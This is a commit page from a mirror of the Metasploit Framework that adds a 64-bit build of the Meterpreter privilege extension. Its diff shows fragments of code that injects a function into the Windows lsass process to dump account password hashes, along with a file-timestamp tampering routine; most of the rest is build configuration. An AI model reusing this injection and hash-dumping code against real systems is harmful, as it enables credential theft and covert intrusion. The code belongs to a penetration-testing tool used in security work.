infosecn1nja
/
metasploit-framework
mirror of https://github.com/infosecn1nja/metasploit-framework.git
1
0
Fork 0
Code Issues Packages Projects Releases Wiki Activity

Commit the x64 build of the meterpreter priv extension. 

git-svn-id: file:///home/svn/framework3/trunk@7008 4d416f70-5f16-0410-b530-b9f4589650da
unstable
Stephen Fewer 2009-09-07 09:17:29 +00:00
parent da61141a79
commit ff9efacffa
4 changed files with 129 additions and 124 deletions
Show Stats Download Patch File Download Diff File Expand all files Collapse all files

BIN
data/meterpreter/ext_server_priv.x64.dll Normal file
View File

Binary file not shown.

4
external/source/meterpreter/source/extensions/priv/server/fs.c vendored
View File

@ -70,7 +70,7 @@ DWORD request_fs_get_file_mace(Remote *remote, Packet *packet)
SystemTimeToEpochTime(&lt, &epoch); SystemTimeToEpochTime(&lt, &epoch);
packet_add_tlv_uint(response, fields[x].tlv, epoch); packet_add_tlv_uint(response, fields[x].tlv, (UINT)epoch);
} }
SetLastError(ERROR_SUCCESS); SetLastError(ERROR_SUCCESS);
@ -120,7 +120,7 @@ DWORD request_fs_set_file_mace(Remote *remote, Packet *packet)
for (x = 0; x < (sizeof(fields) / sizeof(fields[0])); x++) for (x = 0; x < (sizeof(fields) / sizeof(fields[0])); x++)
{ {
SYSTEMTIME st; SYSTEMTIME st;
unsigned long epoch = packet_get_tlv_value_uint(packet, fields[x].tlv); time_t epoch = packet_get_tlv_value_uint(packet, fields[x].tlv);
if (!epoch) if (!epoch)
continue; continue;

35
external/source/meterpreter/source/extensions/priv/server/passwd.c vendored
View File

@ -384,7 +384,11 @@ cleanup:
return dwError; return dwError;
} }
#ifdef _WIN64
#define sizer setArgs
#else
void sizer() { __asm { ret } } void sizer() { __asm { ret } }
#endif
/* initialize the context structure - returns 0 on success, return 1 on error */ /* initialize the context structure - returns 0 on success, return 1 on error */
int setArgs(FUNCTIONARGS *fargs, DWORD dwMillisecondsToWait) { int setArgs(FUNCTIONARGS *fargs, DWORD dwMillisecondsToWait) {
@ -463,7 +467,8 @@ int __declspec(dllexport) control(DWORD dwMillisecondsToWait, char **hashresults
HANDLE hThreadHandle = NULL, hLsassHandle = NULL, hReadLock = NULL, hFreeLock = NULL; HANDLE hThreadHandle = NULL, hLsassHandle = NULL, hReadLock = NULL, hFreeLock = NULL;
LPVOID pvParameterMemory = NULL, pvFunctionMemory = NULL; LPVOID pvParameterMemory = NULL, pvFunctionMemory = NULL;
int FunctionSize; int FunctionSize;
DWORD dwBytesWritten = 0, dwThreadId = 0, dwBytesRead = 0, dwNumberOfUsers = 0, dwCurrentUserIndex = 0, HashIndex = 0; SIZE_T sBytesWritten = 0, sBytesRead = 0;
DWORD dwThreadId = 0, dwNumberOfUsers = 0, dwCurrentUserIndex = 0, HashIndex = 0;
FUNCTIONARGS InitFunctionArguments, FinalFunctionArguments; FUNCTIONARGS InitFunctionArguments, FinalFunctionArguments;
USERNAMEHASH *UsernameHashResults = NULL; USERNAMEHASH *UsernameHashResults = NULL;
PVOID UsernameAddress = NULL; PVOID UsernameAddress = NULL;
@ -516,18 +521,18 @@ int __declspec(dllexport) control(DWORD dwMillisecondsToWait, char **hashresults
if (pvParameterMemory == NULL) { dwError = 1; break; } if (pvParameterMemory == NULL) { dwError = 1; break; }
/* write context structure into remote process */ /* write context structure into remote process */
if (WriteProcessMemory(hLsassHandle, pvParameterMemory, &InitFunctionArguments, sizeof(InitFunctionArguments), &dwBytesWritten) == 0) { dwError = 1; break; } if (WriteProcessMemory(hLsassHandle, pvParameterMemory, &InitFunctionArguments, sizeof(InitFunctionArguments), &sBytesWritten) == 0) { dwError = 1; break; }
if (dwBytesWritten != sizeof(InitFunctionArguments)) { dwError = 1; break; } if (sBytesWritten != sizeof(InitFunctionArguments)) { dwError = 1; break; }
dwBytesWritten = 0; sBytesWritten = 0;
/* allocate memory for the function */ /* allocate memory for the function */
pvFunctionMemory = VirtualAllocEx(hLsassHandle, NULL, FunctionSize, MEM_COMMIT, PAGE_EXECUTE_READWRITE); pvFunctionMemory = VirtualAllocEx(hLsassHandle, NULL, FunctionSize, MEM_COMMIT, PAGE_EXECUTE_READWRITE);
if (pvFunctionMemory == NULL) { dwError = 1; break; } if (pvFunctionMemory == NULL) { dwError = 1; break; }
/* write the function into the remote process */ /* write the function into the remote process */
if (WriteProcessMemory(hLsassHandle, pvFunctionMemory, dumpSAM, FunctionSize, &dwBytesWritten) == 0) { dwError = 1; break; } if (WriteProcessMemory(hLsassHandle, pvFunctionMemory, dumpSAM, FunctionSize, &sBytesWritten) == 0) { dwError = 1; break; }
if (dwBytesWritten != FunctionSize) { dwError = 1; break; } if (sBytesWritten != FunctionSize) { dwError = 1; break; }
dwBytesWritten = 0; sBytesWritten = 0;
/* start the remote thread */ /* start the remote thread */
if ((hThreadHandle = CreateRemoteThread(hLsassHandle, NULL, 0, (LPTHREAD_START_ROUTINE)pvFunctionMemory, pvParameterMemory, 0, &dwThreadId)) == NULL) { dwError = 1; break; } if ((hThreadHandle = CreateRemoteThread(hLsassHandle, NULL, 0, (LPTHREAD_START_ROUTINE)pvFunctionMemory, pvParameterMemory, 0, &dwThreadId)) == NULL) { dwError = 1; break; }
@ -540,9 +545,9 @@ int __declspec(dllexport) control(DWORD dwMillisecondsToWait, char **hashresults
} }
/* read results of the injected function */ /* read results of the injected function */
if (ReadProcessMemory(hLsassHandle, pvParameterMemory, &FinalFunctionArguments, sizeof(InitFunctionArguments), &dwBytesRead) == 0) { dwError = 1; break; } if (ReadProcessMemory(hLsassHandle, pvParameterMemory, &FinalFunctionArguments, sizeof(InitFunctionArguments), &sBytesRead) == 0) { dwError = 1; break; }
if (dwBytesRead != sizeof(InitFunctionArguments)) { dwError = 1; break; } if (sBytesRead != sizeof(InitFunctionArguments)) { dwError = 1; break; }
dwBytesRead = 0; sBytesRead = 0;
/* allocate space for the results */ /* allocate space for the results */
UsernameHashResults = (USERNAMEHASH *)malloc(FinalFunctionArguments.dwDataSize); UsernameHashResults = (USERNAMEHASH *)malloc(FinalFunctionArguments.dwDataSize);
@ -552,9 +557,9 @@ int __declspec(dllexport) control(DWORD dwMillisecondsToWait, char **hashresults
dwNumberOfUsers = FinalFunctionArguments.dwDataSize / sizeof(USERNAMEHASH); dwNumberOfUsers = FinalFunctionArguments.dwDataSize / sizeof(USERNAMEHASH);
/* copy the context structure */ /* copy the context structure */
if (ReadProcessMemory(hLsassHandle, FinalFunctionArguments.pUsernameHashData, UsernameHashResults, FinalFunctionArguments.dwDataSize, &dwBytesRead) == 0) { break; } if (ReadProcessMemory(hLsassHandle, FinalFunctionArguments.pUsernameHashData, UsernameHashResults, FinalFunctionArguments.dwDataSize, &sBytesRead) == 0) { break; }
if (dwBytesRead != FinalFunctionArguments.dwDataSize) { break; } if (sBytesRead != FinalFunctionArguments.dwDataSize) { break; }
dwBytesRead = 0; sBytesRead = 0;
// save the old mem addy, malloc new space, copy over the data, free the old mem addy // save the old mem addy, malloc new space, copy over the data, free the old mem addy
for (dwCurrentUserIndex = 0; dwCurrentUserIndex < dwNumberOfUsers; dwCurrentUserIndex++) { for (dwCurrentUserIndex = 0; dwCurrentUserIndex < dwNumberOfUsers; dwCurrentUserIndex++) {
@ -563,8 +568,8 @@ int __declspec(dllexport) control(DWORD dwMillisecondsToWait, char **hashresults
UsernameHashResults[dwCurrentUserIndex].Username = (char *)malloc(UsernameHashResults[dwCurrentUserIndex].Length); UsernameHashResults[dwCurrentUserIndex].Username = (char *)malloc(UsernameHashResults[dwCurrentUserIndex].Length);
if (UsernameHashResults[dwCurrentUserIndex].Username == NULL) { dwError = 1; break; } if (UsernameHashResults[dwCurrentUserIndex].Username == NULL) { dwError = 1; break; }
if (ReadProcessMemory(hLsassHandle, UsernameAddress, UsernameHashResults[dwCurrentUserIndex].Username, UsernameHashResults[dwCurrentUserIndex].Length, &dwBytesRead) == 0) { dwError = 1; break; } if (ReadProcessMemory(hLsassHandle, UsernameAddress, UsernameHashResults[dwCurrentUserIndex].Username, UsernameHashResults[dwCurrentUserIndex].Length, &sBytesRead) == 0) { dwError = 1; break; }
if (dwBytesRead != UsernameHashResults[dwCurrentUserIndex].Length) { dwError = 1; break; } if (sBytesRead != UsernameHashResults[dwCurrentUserIndex].Length) { dwError = 1; break; }
} }
/* signal that all data has been read and wait for the remote memory to be free'd */ /* signal that all data has been read and wait for the remote memory to be free'd */

214
external/source/meterpreter/workspace/ext_server_priv/ext_server_priv.vcproj vendored
View File

@ -115,7 +115,107 @@
/> />
<Tool <Tool
Name="VCPostBuildEventTool" Name="VCPostBuildEventTool"
CommandLine="copy /y &quot;$(ProjectDir)\release\*.dll&quot; &quot;$(ProjectDir)..\..\output\&quot;" CommandLine="copy /y &quot;$(ProjectDir)\release\ext_server_priv.dll&quot; &quot;$(ProjectDir)..\..\output\&quot;"
/>
</Configuration>
<Configuration
Name="Release|x64"
OutputDirectory="$(PlatformName)\$(ConfigurationName)"
IntermediateDirectory="$(PlatformName)\$(ConfigurationName)"
ConfigurationType="2"
InheritedPropertySheets="$(VCInstallDir)VCProjectDefaults\UpgradeFromVC60.vsprops"
UseOfMFC="0"
ATLMinimizesCRunTimeLibraryUsage="false"
CharacterSet="2"
>
<Tool
Name="VCPreBuildEventTool"
/>
<Tool
Name="VCCustomBuildTool"
/>
<Tool
Name="VCXMLDataGeneratorTool"
/>
<Tool
Name="VCWebServiceProxyGeneratorTool"
/>
<Tool
Name="VCMIDLTool"
PreprocessorDefinitions="NDEBUG"
MkTypLibCompatible="true"
SuppressStartupBanner="true"
TargetEnvironment="3"
TypeLibraryName=".\Release/ext_server_priv.tlb"
HeaderFileName=""
/>
<Tool
Name="VCCLCompilerTool"
Optimization="2"
InlineFunctionExpansion="1"
AdditionalIncludeDirectories="..\..\source\extensions\priv\server;..\..\source\openssl\include"
PreprocessorDefinitions="WIN32;NDEBUG;_WINDOWS;_USRDLL;EXT_SERVER_PRIV_EXPORTS;_CRT_SECURE_NO_WARNINGS"
StringPooling="true"
RuntimeLibrary="0"
EnableFunctionLevelLinking="true"
UsePrecompiledHeader="2"
PrecompiledHeaderThrough="precomp.h"
PrecompiledHeaderFile=".\Release/ext_server_priv.pch"
AssemblerListingLocation=".\Release/"
ObjectFile=".\Release/"
ProgramDataBaseFileName=".\Release/"
WarningLevel="3"
SuppressStartupBanner="true"
/>
<Tool
Name="VCManagedResourceCompilerTool"
/>
<Tool
Name="VCResourceCompilerTool"
PreprocessorDefinitions="NDEBUG"
Culture="1033"
/>
<Tool
Name="VCPreLinkEventTool"
/>
<Tool
Name="VCLinkerTool"
AdditionalDependencies="psapi.lib odbc32.lib odbccp32.lib metsrv.lib"
OutputFile=".\Release\ext_server_priv.x64.dll"
LinkIncremental="1"
SuppressStartupBanner="true"
AdditionalLibraryDirectories="..\metsrv\Release;..\..\source\openssl\lib\win"
GenerateManifest="false"
DelayLoadDLLs="metsrv.dll"
ProgramDatabaseFile=".\Release/ext_server_priv.pdb"
RandomizedBaseAddress="1"
DataExecutionPrevention="0"
ImportLibrary=".\Release/ext_server_priv.lib"
TargetMachine="17"
/>
<Tool
Name="VCALinkTool"
/>
<Tool
Name="VCManifestTool"
/>
<Tool
Name="VCXDCMakeTool"
/>
<Tool
Name="VCBscMakeTool"
SuppressStartupBanner="true"
OutputFile=".\Release/ext_server_priv.bsc"
/>
<Tool
Name="VCFxCopTool"
/>
<Tool
Name="VCAppVerifierTool"
/>
<Tool
Name="VCPostBuildEventTool"
CommandLine="copy /y &quot;$(ProjectDir)\release\ext_server_priv.x64.dll&quot; &quot;$(ProjectDir)..\..\output\&quot;"
/> />
</Configuration> </Configuration>
<Configuration <Configuration
@ -215,106 +315,6 @@
Name="VCPostBuildEventTool" Name="VCPostBuildEventTool"
/> />
</Configuration> </Configuration>
<Configuration
Name="Release|x64"
OutputDirectory="$(PlatformName)\$(ConfigurationName)"
IntermediateDirectory="$(PlatformName)\$(ConfigurationName)"
ConfigurationType="2"
InheritedPropertySheets="$(VCInstallDir)VCProjectDefaults\UpgradeFromVC60.vsprops"
UseOfMFC="0"
ATLMinimizesCRunTimeLibraryUsage="false"
CharacterSet="2"
>
<Tool
Name="VCPreBuildEventTool"
/>
<Tool
Name="VCCustomBuildTool"
/>
<Tool
Name="VCXMLDataGeneratorTool"
/>
<Tool
Name="VCWebServiceProxyGeneratorTool"
/>
<Tool
Name="VCMIDLTool"
PreprocessorDefinitions="NDEBUG"
MkTypLibCompatible="true"
SuppressStartupBanner="true"
TargetEnvironment="3"
TypeLibraryName=".\Release/ext_server_priv.tlb"
HeaderFileName=""
/>
<Tool
Name="VCCLCompilerTool"
Optimization="2"
InlineFunctionExpansion="1"
AdditionalIncludeDirectories="..\..\source\extensions\priv\server;..\..\source\openssl\include"
PreprocessorDefinitions="WIN32;NDEBUG;_WINDOWS;_USRDLL;EXT_SERVER_PRIV_EXPORTS;_CRT_SECURE_NO_WARNINGS"
StringPooling="true"
RuntimeLibrary="0"
EnableFunctionLevelLinking="true"
UsePrecompiledHeader="2"
PrecompiledHeaderThrough="precomp.h"
PrecompiledHeaderFile=".\Release/ext_server_priv.pch"
AssemblerListingLocation=".\Release/"
ObjectFile=".\Release/"
ProgramDataBaseFileName=".\Release/"
WarningLevel="3"
SuppressStartupBanner="true"
/>
<Tool
Name="VCManagedResourceCompilerTool"
/>
<Tool
Name="VCResourceCompilerTool"
PreprocessorDefinitions="NDEBUG"
Culture="1033"
/>
<Tool
Name="VCPreLinkEventTool"
/>
<Tool
Name="VCLinkerTool"
AdditionalDependencies="psapi.lib odbc32.lib odbccp32.lib metsrv.lib"
OutputFile=".\Release/ext_server_priv.dll"
LinkIncremental="1"
SuppressStartupBanner="true"
AdditionalLibraryDirectories="..\metsrv\Release;..\..\source\openssl\lib\win"
GenerateManifest="false"
DelayLoadDLLs="metsrv.dll"
ProgramDatabaseFile=".\Release/ext_server_priv.pdb"
RandomizedBaseAddress="1"
DataExecutionPrevention="0"
ImportLibrary=".\Release/ext_server_priv.lib"
TargetMachine="17"
/>
<Tool
Name="VCALinkTool"
/>
<Tool
Name="VCManifestTool"
/>
<Tool
Name="VCXDCMakeTool"
/>
<Tool
Name="VCBscMakeTool"
SuppressStartupBanner="true"
OutputFile=".\Release/ext_server_priv.bsc"
/>
<Tool
Name="VCFxCopTool"
/>
<Tool
Name="VCAppVerifierTool"
/>
<Tool
Name="VCPostBuildEventTool"
CommandLine="copy /y &quot;$(ProjectDir)\release\*.dll&quot; &quot;$(ProjectDir)..\..\output\&quot;"
/>
</Configuration>
<Configuration <Configuration
Name="Debug|x64" Name="Debug|x64"
OutputDirectory="$(PlatformName)\$(ConfigurationName)" OutputDirectory="$(PlatformName)\$(ConfigurationName)"
@ -437,7 +437,7 @@
/> />
</FileConfiguration> </FileConfiguration>
<FileConfiguration <FileConfiguration
Name="Debug|Win32" Name="Release|x64"
> >
<Tool <Tool
Name="VCCLCompilerTool" Name="VCCLCompilerTool"
@ -447,7 +447,7 @@
/> />
</FileConfiguration> </FileConfiguration>
<FileConfiguration <FileConfiguration
Name="Release|x64" Name="Debug|Win32"
> >
<Tool <Tool
Name="VCCLCompilerTool" Name="VCCLCompilerTool"
@ -487,7 +487,7 @@
/> />
</FileConfiguration> </FileConfiguration>
<FileConfiguration <FileConfiguration
Name="Debug|Win32" Name="Release|x64"
> >
<Tool <Tool
Name="VCCLCompilerTool" Name="VCCLCompilerTool"
@ -496,7 +496,7 @@
/> />
</FileConfiguration> </FileConfiguration>
<FileConfiguration <FileConfiguration
Name="Release|x64" Name="Debug|Win32"
> >
<Tool <Tool
Name="VCCLCompilerTool" Name="VCCLCompilerTool"
@ -535,7 +535,7 @@
/> />
</FileConfiguration> </FileConfiguration>
<FileConfiguration <FileConfiguration
Name="Debug|Win32" Name="Release|x64"
> >
<Tool <Tool
Name="VCCLCompilerTool" Name="VCCLCompilerTool"
@ -544,7 +544,7 @@
/> />
</FileConfiguration> </FileConfiguration>
<FileConfiguration <FileConfiguration
Name="Release|x64" Name="Debug|Win32"
> >
<Tool <Tool
Name="VCCLCompilerTool" Name="VCCLCompilerTool"